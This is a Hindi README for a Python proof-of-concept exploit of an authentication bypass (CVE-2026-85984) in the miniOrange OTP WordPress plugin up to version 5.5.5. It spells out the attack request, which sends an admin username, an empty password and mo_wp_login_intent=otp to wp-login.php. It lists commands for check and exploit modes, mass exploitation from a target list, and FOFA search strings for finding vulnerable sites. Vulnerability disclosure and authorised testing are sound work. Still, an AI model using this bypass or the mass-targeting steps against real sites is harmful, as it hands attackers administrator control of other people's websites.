CVE-2026-85984 — miniOrange OTP लॉगिन (प्रमाणीकरण बायपास)

CVE-2026-85984 के लिए Python 3 PoC — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5।

विवरण (PoCbit / GitHub)

CVE-2026-85984 — POST पैरामीटर mo_wp_login_intent=otp के साथ खाली पासवर्ड के माध्यम से अनधिकृत प्रमाणीकरण बायपास (CWE-287)। mo_by_pass_login() की skip_pass_fallback शाखा में, प्लगइन wp_authenticate_username_password() को छोड़ देता है, उपयोगकर्ता को केवल उपयोगकर्ता नाम से हल करता है, और जब Admin OTP Bypass विकल्प सक्षम होते हैं तो व्यवस्थापक भूमिका को पर्याप्त मानता है।

हमला: wp-login.php के साथ log=<admin_user>, pwd= (खाली), mo_wp_login_intent=otp।

शर्तें (सभी साइट व्यवस्थापक द्वारा सक्षम की जानी चाहिए):

1. WP Login OTP
2. Login with Only OTP
3. Allow Users to Login with Username and Password
4. Admin OTP Bypass

CVSS 3.1: 9.8 क्रिटिकल (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)। फ़िक्स: 5.5.6+ (Wordfence CNA, खोजकर्ता Supakiad S. / m3ez)।

PoC पृष्ठ: https://pocbit.org/pocs/cve-2026-85984

PoCbit

कैटलॉग: https://pocbit.org/pocs/

प्लगइन स्लग	miniorange-otp-verification
प्रभावित	≤ 5.5.5
ठीक किया गया	5.5.6+
वेक्टर	wp-login.php + mo_wp_login_intent=otp
प्रभाव	व्यवस्थापक सत्र (पूर्ण साइट समझौता)

PoC में रंगीन CLI बैनर, प्लगइन/संस्करण स्कैन, वैकल्पिक उपयोगकर्ता एन्यूम (REST/author), --mode exploit बायपास प्रयास, pocbit / pocbit_catalog / pocbit_page के साथ मास JSONL शामिल है।

उपयोग

pip install -r requirements.txt

python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color

FOFA / hunt

body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"

GitHub About (EN)

CVE-2026-85984 PoC: WordPress miniOrange OTP ≤5.5.5 अनधिकृत व्यवस्थापक बायपास mo_wp_login_intent=otp + खाली पासवर्ड के माध्यम से। चेक/एक्सप्लॉइट मोड, रंगीन CLI। PoCbit

सारांश (TR)

CVE-2026-85984: miniOrange OTP प्लगइन में खाली पासवर्ड + mo_wp_login_intent=otp के साथ एडमिन सत्र (गलत OTP सेटिंग्स आवश्यक)। 5.5.6 पैच। PoC: रंगीन इंटरफ़ेस + एक्सप्लॉइट मोड।

कानूनी

केवल अधिकृत परीक्षण। उन सिस्टम पर उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति आपके पास नहीं है।